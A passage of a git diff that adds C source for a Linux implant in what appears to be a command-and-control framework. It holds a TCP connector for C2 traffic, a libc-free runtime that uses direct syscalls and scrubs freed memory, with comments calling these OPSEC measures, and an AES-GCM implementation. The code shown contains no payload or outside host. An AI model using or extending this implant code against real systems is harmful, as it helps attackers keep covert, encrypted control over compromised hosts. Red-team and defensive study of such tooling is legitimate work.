/* COMMANDER_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c new file mode 100644 index 000000000..3851cd686 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c @@ -0,0 +1,269 @@ +#include "connector.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux socket constants +#define AF_INET 2 +#define SOCK_STREAM 1 +#define IPPROTO_TCP 6 + +// sockaddr_in structure (manual — no libc headers) +struct linux_sockaddr_in { + uint16_t sin_family; + uint16_t sin_port; // network byte order + uint32_t sin_addr; // network byte order + uint8_t sin_zero[8]; +}; + +// Parse "host:port" string — host must be an IP address (no DNS resolution) +// For Phase 1, we only support direct IP:port (DNS will come in Phase 2 with resolver) +static int parse_address(const char* address, uint32_t* ip, uint16_t* port) { + const char* colon = (const char*)0; + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + // Parse IP: a.b.c.d + uint32_t octets[4] = {0}; + int octet_idx = 0; + for (const char* p = address; p < colon && octet_idx < 4; p++) { + if (*p == '.') { + octet_idx++; + } else if (*p >= '0' && *p <= '9') { + octets[octet_idx] = octets[octet_idx] * 10 + (*p - '0'); + } else { + return -1; + } + } + if (octet_idx != 3) return -1; + for (int i = 0; i < 4; i++) { + if (octets[i] > 255) return -1; + } + + // Network byte order (big-endian) + *ip = (octets[0]) | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + // Parse port + *port = 0; + for (const char* p = colon + 1; *p >= '0' && *p <= '9'; p++) { + *port = *port * 10 + (*p - '0'); + } + if (*port == 0) return -1; + + // Convert port to network byte order (big-endian) + *port = ((*port >> 8) & 0xFF) | ((*port & 0xFF) << 8); + + return 0; +} + +int conn_open(connector_t* c, const char* address) { + uint32_t ip; + uint16_t port; + + if (parse_address(address, &ip, &port) != 0) + return -1; + + // Create TCP socket via direct syscall + int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) return -1; + + // Build sockaddr_in + struct linux_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = port; + addr.sin_addr = ip; + + // Connect via direct syscall + if (sys_connect(fd, (const void*)&addr, sizeof(addr)) != 0) { + sys_close(fd); + return -1; + } + + c->fd = fd; + return 0; +} + +void conn_close(connector_t* c) { + if (c->fd >= 0) { + sys_close(c->fd); + c->fd = -1; + } +} + +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_read(c->fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) { + // Read 4-byte big-endian length + uint8_t len_buf[4]; + if (conn_read_exact(c, len_buf, 4) != 0) return -1; + + uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) | + ((uint32_t)len_buf[2] << 8) | len_buf[3]; + + if (msg_len == 0) { + *data = (uint8_t*)0; + *len = 0; + return 0; + } + + // Sanity check: max 64MB + if (msg_len > 64 * 1024 * 1024) return -1; + + *data = (uint8_t*)ax_malloc(msg_len); + if (!*data) return -1; + + if (conn_read_exact(c, *data, msg_len) != 0) { + ax_free(*data); + *data = (uint8_t*)0; + return -1; + } + + *len = msg_len; + return 0; +} + +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) { + // Write 4-byte big-endian length + data + uint8_t header[4] = { + (uint8_t)(len >> 24), (uint8_t)(len >> 16), + (uint8_t)(len >> 8), (uint8_t)len + }; + + // Send header + size_t total = 0; + while (total < 4) { + long n = sys_write(c->fd, header + total, 4 - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + // Send data + total = 0; + while (total < len) { + long n = sys_write(c->fd, data + total, len - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + return 0; +} + +int conn_discard(connector_t* c, size_t size) { + uint8_t tmp[1024]; + size_t remaining = size; + while (remaining > 0) { + size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp); + if (conn_read_exact(c, tmp, chunk) != 0) return -1; + remaining -= chunk; + } + return 0; +} + +// fd_set manipulation for pselect6 +// Linux fd_set is an array of unsigned long bitmasks +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} conn_fdset_t; + +static inline void conn_fd_zero(conn_fdset_t* set) { + for (unsigned i = 0; i < sizeof(set->fds_bits) / sizeof(set->fds_bits[0]); i++) + set->fds_bits[i] = 0; +} + +static inline void conn_fd_set(int fd, conn_fdset_t* set) { + unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long)); + unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long)); + set->fds_bits[idx] |= (1UL << bit); +} + +static inline int conn_fd_isset(int fd, conn_fdset_t* set) { + unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long)); + unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long)); + return (set->fds_bits[idx] & (1UL << bit)) != 0; +} + +int conn_poll_read(connector_t* c, int timeout_ms) { + if (c->fd < 0) return -1; + + conn_fdset_t rfds; + conn_fd_zero(&rfds); + conn_fd_set(c->fd, &rfds); + + struct linux_timespec ts; + ts.tv_sec = timeout_ms / 1000; + ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L; + + int ret = sys_pselect6(c->fd + 1, (void*)&rfds, (void*)0, (void*)0, &ts, (void*)0); + if (ret < 0) return -1; // error + if (ret == 0) return 0; // timeout + return 1; // data available +} + +int conn_recv_msg_timeout(connector_t* c, uint8_t** data, size_t* len, int timeout_ms) { + *data = (uint8_t*)0; + *len = 0; + + int poll = conn_poll_read(c, timeout_ms); + if (poll <= 0) return poll; // 0 = timeout, -1 = error + + // Data available — do blocking recv (data is ready) + return conn_recv_msg(c, data, len); +} + +// Socket option constants +#define SOL_SOCKET 1 +#define SO_REUSEADDR 2 + +int conn_bind_listen(connector_t* server, uint16_t port) { + int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) return -1; + + // SO_REUSEADDR — allow quick rebind after disconnect + int opt = 1; + sys_setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + // Bind to 0.0.0.0:port + struct linux_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); // host→network byte order + addr.sin_addr = 0; // INADDR_ANY + + if (sys_bind(fd, (const void*)&addr, sizeof(addr)) != 0) { + sys_close(fd); + return -1; + } + + if (sys_listen(fd, 1) != 0) { + sys_close(fd); + return -1; + } + + server->fd = fd; + return 0; +} + +int conn_accept(connector_t* client, connector_t* server) { + int fd = sys_accept(server->fd, (void*)0, (void*)0); + if (fd < 0) return -1; + + client->fd = fd; + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h new file mode 100644 index 000000000..867259dd4 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h @@ -0,0 +1,53 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +#include +#include + +/// TCP connector for C2 communication +/// Protocol: [4-byte BE length][payload] +/// Matches Go's functions.SendMsg/RecvMsg + +typedef struct { + int fd; +} connector_t; + +/// Connect to address "host:port" via TCP. +/// Returns 0 on success, -1 on failure. +int conn_open(connector_t *c, const char *address); + +/// Close connection. +void conn_close(connector_t *c); + +/// Read exactly `size` bytes. +int conn_read_exact(connector_t *c, uint8_t *buf, size_t size); + +/// Receive a length-prefixed message. +/// Allocates buffer, sets *data and *len. +/// Caller must free *data with ax_free(). +int conn_recv_msg(connector_t *c, uint8_t **data, size_t *len); + +/// Send a length-prefixed message. +int conn_send_msg(connector_t *c, const uint8_t *data, size_t len); + +/// Read and discard `size` bytes (for banner). +int conn_discard(connector_t *c, size_t size); + +/// Check if data is available for reading within `timeout_ms` milliseconds. +/// Returns: 1 = data available, 0 = timeout (no data), -1 = error/closed +int conn_poll_read(connector_t *c, int timeout_ms); + +/// Receive a length-prefixed message with timeout. +/// Returns: 0 = message received, 1 = timeout (no data), -1 = error +int conn_recv_msg_timeout(connector_t *c, uint8_t **data, size_t *len, int timeout_ms); + +/// Bind TCP: create socket, bind to port, listen. +/// Returns 0 on success (server->fd set), -1 on failure. +int conn_bind_listen(connector_t *server, uint16_t port); + +/// Accept a connection on a listening socket. +/// Blocks until a client connects. Sets client->fd. +/// Returns 0 on success, -1 on failure. +int conn_accept(connector_t *client, connector_t *server); + +#endif /* CONNECTOR_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c new file mode 100644 index 000000000..cd152afc0 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c @@ -0,0 +1,293 @@ +#include "crt.h" +#include "types.h" + +// Include arch-specific syscall wrappers +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux mmap constants +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x20 // Linux: 0x20 (macOS: 0x1000) +#define MAP_FAILED ((void*)-1) +#define O_RDONLY 0 + +// Allocation header for size tracking +typedef struct { + size_t total_size; + size_t _pad[1]; // Align to 16 bytes +} alloc_header_t; + +#define HEADER_SIZE sizeof(alloc_header_t) + +// Page alignment helper +static inline size_t align_page(size_t size) { + return (size + 4095) & ~(size_t)4095; +} + +/// ax_malloc — allocate via mmap syscall (zero libc dependency) +void *ax_malloc(size_t size) { + if (size == 0) return NULL; + + size_t total = align_page(HEADER_SIZE + size); + void *ptr = sys_mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (ptr == MAP_FAILED) return NULL; + + alloc_header_t *hdr = (alloc_header_t *)ptr; + hdr->total_size = total; + return (uint8_t *)ptr + HEADER_SIZE; +} + +/// ax_free — OPSEC: zero memory before munmap +void ax_free(void *ptr) { + if (!ptr) return; + + alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE); + size_t total = hdr->total_size; + + // Sanity check + if (total < HEADER_SIZE || total > (size_t)256 * 1024 * 1024) return; + + // OPSEC: Zero memory before releasing + volatile uint8_t *p = (volatile uint8_t *)hdr; + for (size_t i = 0; i < total; i++) p[i] = 0; + + sys_munmap(hdr, total); +} + +/// ax_realloc — malloc new + copy + free old +void *ax_realloc(void *ptr, size_t new_size) { + if (!ptr) return ax_malloc(new_size); + if (new_size == 0) { ax_free(ptr); return NULL; } + + alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE); + size_t old_data_size = hdr->total_size - HEADER_SIZE; + + void *new_ptr = ax_malloc(new_size); + if (!new_ptr) return NULL; + + size_t copy_size = old_data_size < new_size ? old_data_size : new_size; + ax_memcpy(new_ptr, ptr, copy_size); + ax_free(ptr); + + return new_ptr; +} + +/// Memory operations + +void *ax_memset(void *s, int c, size_t n) { + volatile uint8_t *p = (volatile uint8_t *)s; + while (n--) *p++ = (uint8_t)c; + return s; +} + +void *ax_memcpy(void *dst, const void *src, size_t n) { + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + while (n--) *d++ = *s++; + return dst; +} + +void *ax_memmove(void *dst, const void *src, size_t n) { + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + if (d < s) { + while (n--) *d++ = *s++; + } else { + d += n; s += n; + while (n--) *--d = *--s; + } + return dst; +} + +int ax_memcmp(const void *a, const void *b, size_t n) { + const uint8_t *pa = (const uint8_t *)a; + const uint8_t *pb = (const uint8_t *)b; + while (n--) { + if (*pa != *pb) return *pa - *pb; + pa++; pb++; + } + return 0; +} + +/// String operations + +size_t ax_strlen(const char *s) { + size_t len = 0; + while (s[len]) len++; + return len; +} + +int ax_strcmp(const char *a, const char *b) { + while (*a && (*a == *b)) { a++; b++; } + return *(unsigned char *)a - *(unsigned char *)b; +} + +int ax_strncmp(const char *a, const char *b, size_t n) { + while (n && *a && (*a == *b)) { a++; b++; n--; } + if (n == 0) return 0; + return *(unsigned char *)a - *(unsigned char *)b; +} + +char *ax_strcpy(char *dst, const char *src) { + char *ret = dst; + while ((*dst++ = *src++)); + return ret; +} + +char *ax_strncpy(char *dst, const char *src, size_t n) { + char *ret = dst; + while (n && (*dst++ = *src++)) n--; + while (n--) *dst++ = 0; + return ret; +} + +char *ax_strcat(char *dst, const char *src) { + char *ret = dst; + while (*dst) dst++; + while ((*dst++ = *src++)); + return ret; +} + +char *ax_strstr(const char *haystack, const char *needle) { + if (!*needle) return (char *)haystack; + for (; *haystack; haystack++) { + const char *h = haystack, *n = needle; + while (*h && *n && (*h == *n)) { h++; n++; } + if (!*n) return (char *)haystack; + } + return NULL; +} + +char *ax_strchr(const char *s, int c) { + while (*s) { + if (*s == (char)c) return (char *)s; + s++; + } + if (c == 0) return (char *)s; + return NULL; +} + +/// Integer conversion + +int ax_atoi(const char *s) { + int result = 0, sign = 1; + while (*s == ' ' || *s == '\t' || *s == '\n') s++; + if (*s == '-') { sign = -1; s++; } + else if (*s == '+') s++; + while (*s >= '0' && *s <= '9') { + result = result * 10 + (*s - '0'); + s++; + } + return result * sign; +} + +int ax_hextoi(const char *s) { + int result = 0; + if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; + while (*s) { + int digit; + if (*s >= '0' && *s <= '9') digit = *s - '0'; + else if (*s >= 'a' && *s <= 'f') digit = *s - 'a' + 10; + else if (*s >= 'A' && *s <= 'F') digit = *s - 'A' + 10; + else break; + result = result * 16 + digit; + s++; + } + return result; +} + +char *ax_itoa(int val, char *buf, int base) { + char *p = buf; + char *start; + int neg = 0; + + if (val < 0 && base == 10) { + neg = 1; + val = -val; + } + + start = p; + do { + int d = val % base; + *p++ = (d < 10) ? '0' + d : 'a' + d - 10; + val /= base; + } while (val); + + if (neg) *p++ = '-'; + *p = 0; + + // Reverse + char *end = p - 1; + char *beg = start; + while (beg < end) { + char tmp = *beg; + *beg++ = *end; + *end-- = tmp; + } + + return buf; +} + +/// Random bytes — reads /dev/urandom via direct syscall +int ax_random_bytes(void *buf, size_t len) { + // Try getrandom syscall first (more OPSEC — no file open) + long ret = sys_getrandom(buf, len, 0); + if (ret == (long)len) return 0; + + // Fallback: /dev/urandom + int fd = sys_open("/dev/urandom", O_RDONLY, 0); + if (fd < 0) return -1; + + size_t total = 0; + while (total < len) { + ret = sys_read(fd, (uint8_t *)buf + total, len - total); + if (ret <= 0) { sys_close(fd); return -1; } + total += ret; + } + sys_close(fd); + return 0; +} + +/// GCC builtins — required for ARM64 (and sometimes x86_64) when the compiler +/// emits implicit memset/memcpy/memmove for struct/array initialization. +void *memset(void *s, int c, size_t n) { return ax_memset(s, c, n); } +void *memcpy(void *d, const void *s, size_t n) { return ax_memcpy(d, s, n); } +void *memmove(void *d, const void *s, size_t n) { return ax_memmove(d, s, n); } + +/// buffer_t implementation + +void buf_init(buffer_t *b, int initial_cap) { + b->data = (uint8_t *)ax_malloc(initial_cap); + b->len = 0; + b->cap = b->data ? initial_cap : 0; +} + +void buf_append(buffer_t *b, const void *data, int len) { + if (b->len + len > b->cap) { + int new_cap = b->cap * 2; + if (new_cap < b->len + len) new_cap = b->len + len; + uint8_t *new_data = (uint8_t *)ax_realloc(b->data, new_cap); + if (!new_data) return; + b->data = new_data; + b->cap = new_cap; + } + ax_memcpy(b->data + b->len, data, len); + b->len += len; +} + +void buf_free(buffer_t *b) { + if (b->data) ax_free(b->data); + b->data = NULL; + b->len = 0; + b->cap = 0; +} + +void buf_reset(buffer_t *b) { + b->len = 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h new file mode 100644 index 000000000..08d75efa9 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h @@ -0,0 +1,41 @@ +#ifndef CRT_H +#define CRT_H + +#include +#include + +/// Memory allocation (via direct mmap/munmap syscalls — zero libc dependency) +void *ax_malloc(size_t size); +void ax_free(void *ptr); +void *ax_realloc(void *ptr, size_t new_size); + +/// Memory operations +void *ax_memset(void *s, int c, size_t n); +void *ax_memcpy(void *dst, const void *src, size_t n); +void *ax_memmove(void *dst, const void *src, size_t n); +int ax_memcmp(const void *a, const void *b, size_t n); + +/// String operations +size_t ax_strlen(const char *s); +int ax_strcmp(const char *a, const char *b); +int ax_strncmp(const char *a, const char *b, size_t n); +char *ax_strcpy(char *dst, const char *src); +char *ax_strncpy(char *dst, const char *src, size_t n); +char *ax_strcat(char *dst, const char *src); +char *ax_strstr(const char *haystack, const char *needle); +char *ax_strchr(const char *s, int c); + +/// Integer conversion +int ax_atoi(const char *s); +int ax_hextoi(const char *s); +char *ax_itoa(int val, char *buf, int base); + +/// Random bytes (reads /dev/urandom via syscall) +int ax_random_bytes(void *buf, size_t len); + +/// Formatted output (nostdlib vsnprintf) +#include +int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap); +int ax_snprintf(char *buf, size_t size, const char *fmt, ...); + +#endif // CRT_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c new file mode 100644 index 000000000..683564e3d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c @@ -0,0 +1,348 @@ +#include "crypt.h" +#include "crt.h" + +/// ---- AES-128 Core ---- + +static const uint8_t aes_sbox[256] = { + 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, + 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, + 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, + 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, + 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, + 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, + 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, + 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, + 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, + 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, + 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, + 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, + 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, + 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, + 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, + 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 +}; + +static const uint8_t aes_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 +}; + +#define AES128_ROUNDS 10 +#define AES128_NK 4 +#define AES128_NB 4 + +static void aes128_key_expand(const uint8_t* key, uint8_t* rk) { + ax_memcpy(rk, key, 16); + for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) { + uint8_t temp[4]; + temp[0] = rk[(i-1)*4 + 0]; + temp[1] = rk[(i-1)*4 + 1]; + temp[2] = rk[(i-1)*4 + 2]; + temp[3] = rk[(i-1)*4 + 3]; + if (i % AES128_NK == 0) { + uint8_t t = temp[0]; + temp[0] = temp[1]; temp[1] = temp[2]; + temp[2] = temp[3]; temp[3] = t; + temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]]; + temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]]; + temp[0] ^= aes_rcon[i/AES128_NK - 1]; + } + rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0]; + rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1]; + rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2]; + rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3]; + } +} + +static uint8_t gf_mul(uint8_t a, uint8_t b) { + uint8_t result = 0; + while (b) { + if (b & 1) result ^= a; + uint8_t hi = a & 0x80; + a <<= 1; + if (hi) a ^= 0x1B; + b >>= 1; + } + return result; +} + +static void sub_bytes(uint8_t* state) { + for (int i = 0; i < 16; i++) + state[i] = aes_sbox[state[i]]; +} + +static void shift_rows(uint8_t* s) { + uint8_t t; + t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t; + t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t; + t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t; +} + +static void mix_columns(uint8_t* s) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3]; + s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3; + s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3; + s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3); + s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2); + } +} + +static void add_round_key(uint8_t* state, const uint8_t* rk, int round) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[round * 16 + i]; +} + +static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) { + uint8_t state[16]; + ax_memcpy(state, in, 16); + add_round_key(state, rk, 0); + for (int round = 1; round < AES128_ROUNDS; round++) { + sub_bytes(state); + shift_rows(state); + mix_columns(state); + add_round_key(state, rk, round); + } + sub_bytes(state); + shift_rows(state); + add_round_key(state, rk, AES128_ROUNDS); + ax_memcpy(out, state, 16); +} + +/// ---- GCM Mode ---- + +static void ghash_mul(uint8_t* x, const uint8_t* h) { + uint8_t z[16] = {0}; + uint8_t v[16]; + ax_memcpy(v, h, 16); + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (0x80 >> (i % 8))) { + for (int j = 0; j < 16; j++) z[j] ^= v[j]; + } + uint8_t carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) v[0] ^= 0xE1; + } + ax_memcpy(x, z, 16); +} + +static void inc32(uint8_t* counter) { + for (int i = 15; i >= 12; i--) { + if (++counter[i]) break; + } +} + +static void aes_ctr(const uint8_t* rk, uint8_t* counter, + const uint8_t* in, uint8_t* out, size_t len) { + uint8_t keystream[16]; + size_t offset = 0; + while (offset < len) { + aes128_encrypt_block(counter, keystream, rk); + inc32(counter); + size_t chunk = len - offset; + if (chunk > 16) chunk = 16; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ keystream[i]; + offset += chunk; + } +} + +/// ---- Public API ---- + +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, size_t* out_len) { + uint8_t rk[176]; + aes128_key_expand(key, rk); + + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + uint8_t nonce[GCM_NONCE_SIZE]; + ax_random_bytes(nonce, GCM_NONCE_SIZE); + + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE; + uint8_t* output = (uint8_t*)ax_malloc(*out_len); + if (!output) return (uint8_t*)0; + + ax_memcpy(output, nonce, GCM_NONCE_SIZE); + + uint8_t* ct = output + GCM_NONCE_SIZE; + if (plaintext_len > 0) { + aes_ctr(rk, counter, plaintext, ct, plaintext_len); + } + + uint8_t ghash_out[16] = {0}; + size_t ct_blocks = plaintext_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = plaintext_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)plaintext_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t tag[16]; + aes128_encrypt_block(j0, tag, rk); + for (int j = 0; j < 16; j++) + tag[j] ^= ghash_out[j]; + + ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE); + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return output; +} + +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, size_t* out_len) { + if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE) + return (uint8_t*)0; + + size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE; + const uint8_t* nonce = data; + const uint8_t* ct = data + GCM_NONCE_SIZE; + const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len; + + uint8_t rk[176]; + aes128_key_expand(key, rk); + + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + uint8_t ghash_out[16] = {0}; + size_t ct_blocks = ct_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = ct_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)ct_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t computed_tag[16]; + aes128_encrypt_block(j0, computed_tag, rk); + for (int j = 0; j < 16; j++) + computed_tag[j] ^= ghash_out[j]; + + // Constant-time tag comparison + uint8_t diff = 0; + for (int j = 0; j < GCM_TAG_SIZE; j++) + diff |= computed_tag[j] ^ tag[j]; + + if (diff != 0) { + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + return (uint8_t*)0; + } + + *out_len = ct_len; + uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1); + if (!plaintext) { + ax_memset(rk, 0, sizeof(rk)); + return (uint8_t*)0; + } + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + if (ct_len > 0) { + aes_ctr(rk, counter, ct, plaintext, ct_len); + } + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return plaintext; +} + +/// ---- Public AES-CTR wrappers (for tunnel/terminal) ---- + +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) { + aes128_key_expand(key, round_keys); +} + +void 